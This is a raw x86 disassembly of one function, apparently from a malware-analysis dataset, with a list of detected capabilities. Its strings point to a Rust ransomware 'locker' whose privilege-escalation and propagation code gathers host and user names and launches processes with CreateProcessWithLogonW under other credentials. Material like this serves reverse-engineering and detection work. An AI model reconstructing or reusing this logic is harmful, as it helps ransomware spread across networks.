Function at 0x4abe10
Capabilities:
Check if file exists
Create pipe
Create process on windows
Create process suspended
Get hostname
Get session user name
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x260
mov esi, ecx
lea edi, [esp + 0x204]
mov ecx, 0x16
xorps xmm0, xmm0
lea ebx, [esp + 0xe0]
rep movsd dword es:[edi], dword [esi]
lea esi, [esp + 0xc0]
movaps xmmword [esp + 0x1d0], xmm0
movaps xmmword [esp + 0x1c0], xmm0
movaps xmmword [esp + 0x1b0], xmm0
movaps xmmword [esp + 0x1a0], xmm0
movaps xmmword [esp + 0x190], xmm0
movaps xmmword [esp + 0x180], xmm0
movaps xmmword [esp + 0x170], xmm0
movaps xmmword [esp + 0x160], xmm0
movaps xmmword [esp + 0x150], xmm0
movaps xmmword [esp + 0x140], xmm0
movaps xmmword [esp + 0x130], xmm0
movaps xmmword [esp + 0x120], xmm0
movaps xmmword [esp + 0x110], xmm0
movaps xmmword [esp + 0x100], xmm0
movaps xmmword [esp + 0xf0], xmm0
movaps xmmword [esp + 0xe0], xmm0
mov dword [esp + 0xc0], 0x100
push esi
push ebx
push 2
call sub.KERNEL32.dll_GetComputerNameExW
test eax, eax
je 0x4abf14
lea ecx, [esp + 8]
lea edx, [esp + 0xe0]
push dword [esp + 0xc0]
call fcn.00600820
add esp, 4
cmp dword [esp + 8], 0
je 0x4abf28
test dword [esp + 0x14], 0x7fffffff
je 0x4abf14
push dword [esp + 0x10]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
xor edi, edi
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4ac09f
jmp 0x4ac08d
mov edx, dword [esp + 0xc]
mov esi, dword [esp + 0x10]
lea edi, [esp + 0x20]
mov ecx, edi
mov dword [esp + 0xac], edx
push esi
call fcn.00600b20
add esp, 4
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x4ac024
mov dword [esp + 0x38], edi
mov dword [esp + 0x3c], 0x41e510
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x38]
mov eax, dword [0x6f1080]
mov dword [esp + 0x5c], 3
mov dword [esp + 0x60], str.locker::core::os::windows::system_infosrc_core_os_windows_system_info.rsdomain_name
mov dword [esp + 0x64], 0x26
mov dword [esp + 0x68], 0x684210
mov dword [esp + 0x6c], 1
mov dword [esp + 0x70], 0
mov dword [esp + 0x78], edx
lea edx, [esp + 0x5c]
mov dword [esp + 0x7c], 1
mov dword [esp + 0x80], 0
mov dword [esp + 0x88], 0x26
mov dword [esp + 0x84], str.locker::core::os::windows::system_infosrc_core_os_windows_system_info.rsdomain_name
mov dword [esp + 0x8c], 0
mov dword [esp + 0x94], 0x22
mov dword [esp + 0x90], 0x6841e2
mov dword [esp + 0x98], 1
mov dword [esp + 0x9c], 0x27
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov eax, dword [esp + 0x28]
test eax, eax
mov dword [esp + 0xd4], eax
je 0x4ad772
mov edi, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0xac]
test esi, 0x7fffffff
mov word [eax], 0
je 0x4ac068
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 8], 0
je 0x4ac07d
test dword [esp + 0x14], 0x7fffffff
jne 0x4ad7a9
lea esi, [esp + 0xc0]
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4ac09f
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4ad8a3
mov dword [0x6f1130], eax
push 9
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x4ad8a3
mov cl, byte [0x6838fc]
movsd xmm0, qword [str.WORKGROUP_u_p_s_d_f_cpropagate::attempt_t9h]
test edi, edi
mov byte [eax + 8], cl
movsd qword [eax], xmm0
je 0x4ac0da
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x4ac0f2
mov dword [esp + 0xd4], 9
mov dword [esp + 0xa0], 9
mov edi, eax
xorps xmm0, xmm0
mov dword [esp + 0xc0], 0x100
movaps xmmword [esp + 0x1d0], xmm0
movaps xmmword [esp + 0x1c0], xmm0
movaps xmmword [esp + 0x1b0], xmm0
movaps xmmword [esp + 0x1a0], xmm0
movaps xmmword [esp + 0x190], xmm0
movaps xmmword [esp + 0x180], xmm0
movaps xmmword [esp + 0x170], xmm0
movaps xmmword [esp + 0x160], xmm0
movaps xmmword [esp + 0x150], xmm0
movaps xmmword [esp + 0x140], xmm0
movaps xmmword [esp + 0x130], xmm0
movaps xmmword [esp + 0x120], xmm0
movaps xmmword [esp + 0x110], xmm0
movaps xmmword [esp + 0x100], xmm0
movaps xmmword [esp + 0xf0], xmm0
movaps xmmword [esp + 0xe0], xmm0
push esi
push ebx
call sub.ADVAPI32.dll_GetUserNameW
test eax, eax
je 0x4ac1cc
lea ecx, [esp + 8]
lea edx, [esp + 0xe0]
push dword [esp + 0xc0]
call fcn.00600990
add esp, 4
cmp dword [esp + 8], 0
je 0x4ac1f9
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4ac1cc
test dword [esp + 0x10], 0x7fffffff
je 0x4ac1cc
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0xa0]
test eax, eax
je 0x4ac1e5
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea ecx, [esp + 0x204]
call fcn.004ae140
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [esp + 0xa4], edi
mov esi, dword [esp + 0xc]
mov edi, dword [esp + 0x10]
lea ecx, [esp + 0x20]
mov edx, esi
push edi
call fcn.00600b20
add esp, 4
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x4ac2f9
lea eax, [esp + 0x20]
mov ecx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea edx, [esp + 0x38]
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 0x41e510
mov eax, dword [0x6f1080]
mov dword [esp + 0x5c], 3
mov dword [esp + 0x60], str.locker::core::os::windows::system_infosrc_core_os_windows_system_info.rsdomain_name
mov dword [esp + 0x64], 0x26
mov dword [esp + 0x68], 0x684224
mov dword [esp + 0x6c], 1
mov dword [esp + 0x70], 0
mov dword [esp + 0x78], edx
lea edx, [esp + 0x5c]
mov dword [esp + 0x7c], 1
mov dword [esp + 0x80], 0
mov dword [esp + 0x88], 0x26
mov dword [esp + 0x84], str.locker::core::os::windows::system_infosrc_core_os_windows_system_info.rsdomain_name
mov dword [esp + 0x8c], 0
mov dword [esp + 0x94], 0x22
mov dword [esp + 0x90], 0x6841e2
mov dword [esp + 0x98], 1
mov dword [esp + 0x9c], 0x3a
cmp eax, 2
mov eax, 0x6857f8
cmove eax, dword [0x605020]
cmove ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
test edi, 0x7fffffff
mov word [esi], 0
mov dword [esp + 0xd8], eax
mov dword [esp + 0x1f4], edx
mov dword [esp + 0xac], ecx
je 0x4ac335
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 8], 0
mov edi, dword [esp + 0xa4]
je 0x4ac363
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4ac363
test dword [esp + 0x10], 0x7fffffff
je 0x4ac363
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0xd8], 0
mov eax, dword [esp + 0xa0]
je 0x4ac1d3
mov eax, dword [esp + 0x20c]
lea edi, [esp + 0xe0]
test eax, eax
je 0x4ad739
mov esi, dword [esp + 0x204]
lea eax, [eax + eax*2]
lea eax, [esi + eax*8]
mov dword [esp + 0x1f8], eax
jmp 0x4ac3c0
add esi, 0x18
cmp dword [esp + 0x1f8], esi
je 0x4ad739
lea eax, [esi + 0xc]
mov ecx, edi
mov dword [esp + 0xd0], esi
mov dword [esp + 0xdc], eax
mov edx, dword [esi]
push dword [esi + 8]
call fcn.004ad8c0
add esp, 4
mov eax, dword [esp + 0xe8]
movsd xmm0, qword [esp + 0xe0]
mov edi, dword [esp + 0xec]
mov esi, dword [esp + 0xf4]
mov ebx, dword [esp + 0xf0]
mov dword [esp + 0xb8], eax
movsd qword [esp + 0xb0], xmm0
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4ac430
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4ad8a3
mov dword [0x6f1130], eax
push 9
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x4ad8a3
mov cl, byte [0x6838fc]
movsd xmm0, qword [str.WORKGROUP_u_p_s_d_f_cpropagate::attempt_t9h]
test edi, edi
mov byte [eax + 8], cl
movsd qword [eax], xmm0
je 0x4ac480
mov dword [esp + 0x48], edi
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], esi
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x4ac494
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], 9
mov dword [esp + 0x50], 9
mov eax, dword [esp + 0xac]
mov esi, dword [esp + 0xa4]
lea edi, [esp + 0xe0]
cmp dword [esp + 0xb8], eax
jne 0x4ac560
mov eax, dword [esp + 0xb0]
xor ecx, ecx
nop
cmp dword [esp + 0xac], ecx
je 0x4ac500
mov ebx, dword [esp + 0xd8]
movzx edx, byte [eax + ecx]
mov dh, byte [ebx + ecx]
mov ebx, edx
inc ecx
add bl, 0xbf
cmp bl, 0x1a
setb bl
shl bl, 5
or bl, dl
mov dl, dh
add dl, 0xbf
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, dh
cmp bl, dl
je 0x4ac4c0
jmp 0x4ac560
mov eax, dword [esp + 0xd4]
cmp dword [esp + 0x50], eax
jne 0x4ac560
mov eax, dword [esp + 0x48]
xor ecx, ecx
nop word cs:[eax + eax]
nop dword [eax]
cmp dword [esp + 0xd4], ecx
je 0x4ad5eb
movzx edx, byte [eax + ecx]
mov dh, byte [esi + ecx]
inc ecx
mov ebx, edx
add bl, 0xbf
cmp bl, 0x1a
setb bl
shl bl, 5
or bl, dl
mov dl, dh
add dl, 0xbf
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, dh
cmp bl, dl
je 0x4ac520
nop dword [eax]
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x4ac697
lea eax, [esp + 0xb0]
mov ecx, 0x6857f8
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea esi, [esp + 0x5c]
mov dword [esp + 0x38], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x20], eax
lea eax, [esp + 0xdc]
mov dword [esp + 8], eax
lea eax, [esp + 0x38]
mov dword [esp + 0x5c], eax
lea eax, [esp + 0x20]
mov dword [esp + 0x60], 0x55cec0
mov dword [esp + 0x64], eax
lea eax, [esp + 8]
mov dword [esp + 0x68], 0x55cec0
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], 0x4ae120
mov eax, dword [0x6f1080]
mov dword [esp + 0xe0], 3
mov dword [esp + 0xe4], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0xe8], 0x2f
mov dword [esp + 0xec], 0x621414
mov dword [esp + 0xf0], 3
mov dword [esp + 0xf4], 0
mov dword [esp + 0xfc], esi
mov dword [esp + 0x100], 3
mov dword [esp + 0x104], 0
mov dword [esp + 0x10c], 0x2f
mov dword [esp + 0x108], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x110], 0
mov dword [esp + 0x118], 0x2b
mov dword [esp + 0x114], 0x6833b7
mov dword [esp + 0x11c], 1
mov dword [esp + 0x120], 0x2b7
cmp eax, 2
mov eax, dword [0x605020]
cmovne eax, ecx
mov ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
cmovne ecx, edx
push edi
push ecx
call dword [eax + 0x14]
add esp, 8
mov ebx, dword [esp + 0x244]
lea eax, [esp + 0x210]
mov dword [esp + 0xc0], eax
test ebx, ebx
je 0x4ac710
mov esi, dword [esp + 0x24c]
test esi, esi
js 0x4ad8aa
je 0x4ac6f0
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4ac6dc
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4ad8b1
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov edi, eax
test eax, eax
jne 0x4ac6f5
jmp 0x4ad8b1
mov edi, 1
push esi
push ebx
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
test edi, edi
je 0x4ac710
mov dword [esp + 0x38], edi
jmp 0x4ac71a
mov dword [esp + 0x38], 1
xor esi, esi
mov ebx, dword [esp + 0x250]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], esi
test ebx, ebx
je 0x4ac840
mov esi, dword [esp + 0x258]
test esi, esi
js 0x4ad8aa
je 0x4ac780
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4ac75d
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x4ad8b1
mov dword [0x6f1130], eax
push esi
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
mov edi, eax
test eax, eax
jne 0x4ac785
jmp 0x4ad8b1
mov edi, 1
push esi
push ebx
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
test edi, edi
je 0x4ac840
mov dword [esp + 0x5c], edi
lea edi, [esp + 0xe0]
lea ecx, [esp + 0x20]
lea eax, [esp + 0x5c]
mov dword [esp + 0xe0], 0x6213bc
mov dword [esp + 0xe4], 1
mov dword [esp + 0xe8], 0
mov dword [esp + 0x60], esi
mov dword [esp + 0x64], esi
mov dword [esp + 0xf0], ecx
lea ecx, [esp + 8]
mov edx, edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], 0x41e510
mov dword [esp + 0xf4], 1
call fcn.0040a660
cmp dword [esp + 0x60], 0
je 0x4ac815
push dword [esp + 0x5c]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 8]
lea esi, [esp + 0xc0]
test eax, eax
jne 0x4ac85c
mov dword [esp + 0x20], 1
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
jmp 0x4ac870
mov dword [esp + 8], 0
xor eax, eax
lea esi, [esp + 0xc0]
lea edi, [esp + 0xe0]
test eax, eax
je 0x4ac824
mov eax, dword [esp + 0x10]
movsd xmm0, qword [esp + 8]
mov dword [esp + 0x28], eax
movsd qword [esp + 0x20], xmm0
lea eax, [esp + 0x38]
lea ecx, [esp + 0x20]
mov dword [esp + 0xe0], esi
mov dword [esp + 0xe4], 0x55cec0
lea edx, [esp + 0x5c]
mov dword [esp + 0x5c], 0x621438
mov dword [esp + 0x60], 3
mov dword [esp + 0x64], 0
mov dword [esp + 0x6c], edi
mov dword [esp + 0x70], 3
mov dword [esp + 0xe8], eax
mov dword [esp + 0xec], 0x41e510
mov dword [esp + 0xf0], ecx
lea ecx, [esp + 8]
mov dword [esp + 0xf4], 0x41e510
call fcn.0040a660
cmp dword [esp + 0x24], 0
je 0x4ac8f7
push dword [esp + 0x20]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x3c], 0
je 0x4ac90f
push dword [esp + 0x38]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
movsd xmm0, qword [esp + 8]
mov eax, dword [esp + 0x10]
mov dword [esp + 0x1f0], esi
movsd qword [esp + 0xc0], xmm0
mov dword [esp + 0xc8], eax
mov eax, dword [0x6f11c8]
cmp eax, 2
mov eax, esi
jbe 0x4aca3d
lea eax, [esp + 0x1f0]
mov ecx, 0x6857f8
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea esi, [esp + 0x5c]
mov dword [esp + 8], eax
lea eax, [esp + 8]
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], 0x4ae120
mov eax, dword [0x6f1080]
mov dword [esp + 0xe0], 3
mov dword [esp + 0xe4], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0xe8], 0x2f
mov dword [esp + 0xec], 0x621450
mov dword [esp + 0xf0], 1
mov dword [esp + 0xf4], 0
mov dword [esp + 0xfc], esi
mov dword [esp + 0x100], 1
mov dword [esp + 0x104], 0
mov dword [esp + 0x10c], 0x2f
mov dword [esp + 0x108], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x110], 0
mov dword [esp + 0x118], 0x2b
mov dword [esp + 0x114], 0x6833b7
mov dword [esp + 0x11c], 1
mov dword [esp + 0x120], 0x2c5
cmp eax, 2
mov eax, dword [0x605020]
cmovne eax, ecx
mov ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
cmovne ecx, edx
push edi
push ecx
call dword [eax + 0x14]
add esp, 8
mov eax, dword [esp + 0x1f0]
mov ecx, dword [esp + 0xdc]
mov edx, dword [esp + 0xb0]
mov edi, dword [esp + 0x48]
mov esi, dword [ecx]
mov ecx, dword [ecx + 8]
mov dword [esp + 0x44], ecx
mov ecx, dword [eax]
mov eax, dword [eax + 8]
mov dword [esp + 0xa8], esi
mov esi, dword [esp + 0x50]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0xb8]
mov dword [esp + 0xcc], ecx
lea ecx, [esp + 0x5c]
add eax, edx
push 0
push eax
call fcn.005079e0
add esp, 8
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x64]
test eax, eax
je 0x4acac1
lea ecx, [eax + eax]
xor ebx, ebx
nop word cs:[eax + eax]
nop
cmp word [edx + ebx*2], 0
je 0x4ad7d3
inc ebx
add ecx, 0xfffffffe
jne 0x4acab0
mov ecx, dword [esp + 0x34]
mov dword [esp + 0xe0], edx
mov dword [esp + 0xe4], ecx
lea ecx, [esp + 0xe0]
mov dword [esp + 0xe8], eax
call fcn.004d5680
mov dword [esp + 0x1ec], edx
mov ebx, eax
lea ecx, [esp + 0x5c]
mov edx, edi
add esi, edi
push 0
push esi
call fcn.005079e0
add esp, 8
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x5c]
mov ecx, dword [esp + 0x60]
test eax, eax
je 0x4acb31
lea edi, [eax + eax]
xor esi, esi
nop word [eax + eax]
cmp word [edx + esi*2], 0
je 0x4ad807
inc esi
add edi, 0xfffffffe
jne 0x4acb20
mov dword [esp + 0xe0], edx
mov dword [esp + 0xe4], ecx
lea ecx, [esp + 0xe0]
mov dword [esp + 0xe8], eax
call fcn.004d5680
mov dword [esp + 0x34], eax
mov dword [esp + 0x1e8], edx
mov eax, dword [esp + 0x44]
mov edx, dword [esp + 0xa8]
lea ecx, [esp + 0x5c]
add eax, edx
push 0
push eax
call fcn.005079e0
add esp, 8
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x5c]
mov ecx, dword [esp + 0x60]
test eax, eax
je 0x4acba1
lea edi, [eax + eax]
xor esi, esi
nop
cmp word [edx + esi*2], 0
je 0x4ad834
inc esi
add edi, 0xfffffffe
jne 0x4acb90
mov dword [esp + 0xe0], edx
mov dword [esp + 0xe4], ecx
lea ecx, [esp + 0xe0]
mov dword [esp + 0x44], ebx
mov dword [esp + 0xe8], eax
call fcn.004d5680
mov esi, eax
mov dword [esp + 0xa8], edx
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0xcc]
lea ecx, [esp + 0x5c]
add eax, edx
push 0
push eax
call fcn.005079e0
add esp, 8
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x5c]
mov ecx, dword [esp + 0x60]
test eax, eax
je 0x4acc11
lea ebx, [eax + eax]
xor edi, edi
cmp word [edx + edi*2], 0
je 0x4ad861
inc edi
add ebx, 0xfffffffe
jne 0x4acc00
lea edi, [esp + 0xe0]
mov dword [esp + 0xe0], edx
mov dword [esp + 0xe4], ecx
mov dword [esp + 0xe8], eax
mov ecx, edi
call fcn.004d5680
mov ebx, eax
lea eax, [esp + 0x60]
mov dword [esp + 0x38], 0xc
mov dword [esp + 0x3c], 0
mov dword [esp + 0x30], edx
mov dword [esp + 0x40], 1
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 0xc], 0
mov dword [eax + 8], 0
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x1c], 0
mov dword [eax + 0x18], 0
mov dword [eax + 0x24], 0
mov dword [eax + 0x20], 0
mov dword [eax + 0x2c], 0
mov dword [eax + 0x28], 0
mov dword [eax + 0x34], 0
mov dword [eax + 0x30], 0
mov dword [eax + 0x3c], 0
mov dword [eax + 0x38], 0
mov dword [esp + 0x5c], 0x44
mov dword [esp + 0x88], 0x100
push 0
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x208]
push eax
lea eax, [esp + 0x208]
push eax
call sub.KERNEL32.dll_CreatePipe
test eax, eax
je 0x4ace70
push 0
push 1
push dword [esp + 0x204]
call sub.KERNEL32.dll_SetHandleInformation
test eax, eax
je 0x4acf80
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x60]
push eax
push 0
push 0
push 0x400
push ebx
push 0
push 2
push esi
push dword [esp + 0x58]
push dword [esp + 0x6c]
call sub.ADVAPI32.dll_CreateProcessWithLogonW
test eax, eax
je 0x4ad170
movsd xmm0, qword [esp + 0x20]
movsd xmm1, qword [esp + 0x28]
movsd qword [esp + 0x10], xmm1
movsd qword [esp + 8], xmm0
mov eax, dword [0x6f11c8]
cmp eax, 2
jbe 0x4ace53
lea eax, [esp + 0x10]
mov ecx, 0x6857f8
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], 0x4ee180
mov eax, dword [0x6f1080]
mov dword [esp + 0xe0], 3
mov dword [esp + 0xe4], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0xe8], 0x2f
mov dword [esp + 0xec], 0x6834a4
mov dword [esp + 0xf0], 1
mov dword [esp + 0xf4], 0
cmp eax, 2
mov eax, dword [0x605020]
cmovne eax, ecx
mov ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
cmovne ecx, edx
lea edx, [esp + 0x54]
mov dword [esp + 0xfc], edx
mov dword [esp + 0x100], 1
mov dword [esp + 0x104], 0
mov dword [esp + 0x10c], 0x2f
mov dword [esp + 0x108], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x110], 0
mov dword [esp + 0x118], 0x2b
mov dword [esp + 0x114], 0x6833b7
mov dword [esp + 0x11c], 1
mov dword [esp + 0x120], 0x215
push edi
push ecx
call dword [eax + 0x14]
add esp, 8
push dword [esp + 0xc]
call sub.KERNEL32.dll_CloseHandle
mov edi, 1
jmp 0x4ad2e0
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x4ad0d2
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 0xc], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0
mov ecx, 0x6857f8
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], 0x5df300
mov eax, dword [0x6f1080]
mov dword [esp + 0xe0], 3
mov dword [esp + 0xe4], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0xe8], 0x2f
mov dword [esp + 0xec], 0x68350c
mov dword [esp + 0xf0], 1
mov dword [esp + 0xf4], 0
cmp eax, 2
mov eax, dword [0x605020]
cmovne eax, ecx
mov ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
cmovne ecx, edx
lea edx, [esp + 0x54]
mov dword [esp + 0xfc], edx
mov dword [esp + 0x100], 1
mov dword [esp + 0x104], 0
mov dword [esp + 0x10c], 0x2f
mov dword [esp + 0x108], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x110], 0
mov dword [esp + 0x118], 0x2b
mov dword [esp + 0x114], 0x6833b7
mov dword [esp + 0x11c], 1
mov dword [esp + 0x120], 0x1f1
jmp 0x4ad082
mov eax, dword [0x6f11c8]
cmp eax, 3
jb 0x4ad0d2
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 0xc], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0
mov ecx, 0x6857f8
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], 0x5df300
mov eax, dword [0x6f1080]
mov dword [esp + 0xe0], 3
mov dword [esp + 0xe4], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0xe8], 0x2f
mov dword [esp + 0xec], 0x6834f0
mov dword [esp + 0xf0], 1
mov dword [esp + 0xf4], 0
cmp eax, 2
mov eax, dword [0x605020]
cmovne eax, ecx
mov ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
cmovne ecx, edx
lea edx, [esp + 0x54]
mov dword [esp + 0xfc], edx
mov dword [esp + 0x100], 1
mov dword [esp + 0x104], 0
mov dword [esp + 0x10c], 0x2f
mov dword [esp + 0x108], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x110], 0
mov dword [esp + 0x118], 0x2b
mov dword [esp + 0x114], 0x6833b7
mov dword [esp + 0x11c], 1
mov dword [esp + 0x120], 0x1f8
push edi
push ecx
call dword [eax + 0x14]
add esp, 8
cmp byte [esp + 8], 3
jne 0x4ad0d2
mov edi, dword [esp + 0xc]
mov eax, dword [edi + 4]
push dword [edi]
call dword [eax]
add esp, 4
mov ecx, dword [edi + 4]
cmp dword [ecx + 4], 0
je 0x4ad0c1
mov eax, dword [edi]
cmp dword [ecx + 8], 9
jb 0x4ad0b3
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push dword [esp + 0xc]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test dword [esp + 0x30], 0x7fffffff
mov word [ebx], 0
je 0x4ad0ef
push ebx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test dword [esp + 0xa8], 0x7fffffff
mov word [esi], 0
je 0x4ad10f
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x34]
test dword [esp + 0x1e8], 0x7fffffff
mov ebx, dword [esp + 0x44]
mov word [eax], 0
je 0x4ad137
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
xor edi, edi
test dword [esp + 0x1ec], 0x7fffffff
mov esi, dword [esp + 0xd0]
mov word [ebx], 0
jne 0x4ad35f
mov eax, dword [0x6f11c8]
lea edi, [esp + 0xe0]
cmp eax, 2
ja 0x4ad490
jmp 0x4ad58e
mov eax, dword [0x6f11c8]
xor edi, edi
cmp eax, 3
jb 0x4ad2e0
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 0xc], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0
mov ecx, 0x6857f8
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], 0x5df300
mov eax, dword [0x6f1080]
mov dword [esp + 0xe0], 3
mov dword [esp + 0xe4], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0xe8], 0x2f
mov dword [esp + 0xec], 0x6834cc
mov dword [esp + 0xf0], 1
mov dword [esp + 0xf4], 0
cmp eax, 2
mov eax, dword [0x605020]
cmovne eax, ecx
mov ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
cmovne ecx, edx
lea edx, [esp + 0x54]
mov dword [esp + 0xfc], edx
lea edx, [esp + 0xe0]
mov dword [esp + 0x100], 1
mov dword [esp + 0x104], 0
mov dword [esp + 0x10c], 0x2f
mov dword [esp + 0x108], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x110], 0
mov dword [esp + 0x118], 0x2b
mov dword [esp + 0x114], 0x6833b7
mov dword [esp + 0x11c], 1
mov dword [esp + 0x120], 0x20e
push edx
push ecx
call dword [eax + 0x14]
add esp, 8
cmp byte [esp + 8], 3
jne 0x4ad2e0
mov ecx, dword [esp + 0xc]
mov eax, dword [ecx + 4]
mov dword [esp + 0xcc], ecx
push dword [ecx]
call dword [eax]
mov eax, dword [esp + 0xd0]
